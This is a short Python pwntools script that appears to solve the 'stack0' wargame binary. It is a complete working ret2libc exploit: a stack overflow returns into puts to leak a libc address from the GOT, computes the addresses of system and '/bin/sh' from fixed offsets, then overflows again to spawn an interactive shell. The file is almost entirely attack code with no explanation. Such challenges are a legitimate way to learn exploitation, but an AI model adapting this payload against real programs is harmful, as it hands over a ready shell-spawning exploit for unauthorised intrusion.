stack0.py

from pwn import *

puts_plt = 0x804832c
puts_got = 0x8049638
main = 0x080483f4
offset_system = 0x24f00
offset_sh = -0xfbd0b
BINARY = "./stack0"
r = process(BINARY)
raw_input("attach " + str(r.proc.pid)+"\nDebug?")

payload = "A"*(0x60-0x1c+0x8) # buff (esp+0x1c); esp = ebp - 0x60; + and     esp, 0FFFFFFF0h (8 bytes)
payload += "B"*0x4 # ebp
payload += p32(puts_plt) # return
payload += p32(main) # return 2
payload += p32(puts_got) # agrument
r.sendline(payload)
print r.recvuntil("you have changed the 'modified' variable\n")

puts = u32(r.recv(4)) # puts@libc
print hex(puts)
system = puts - offset_system
str_bin_sh = puts - offset_sh
payload = "A"*(0x60-0x1c) # buff (esp+0x1c); esp = ebp - 0x60
payload += "B"*0x4 # ebp
payload += p32(system) # return1
payload += p32(main) # return2 (not use)
payload += p32(str_bin_sh) # agrument
r.sendline(payload)
r.interactive()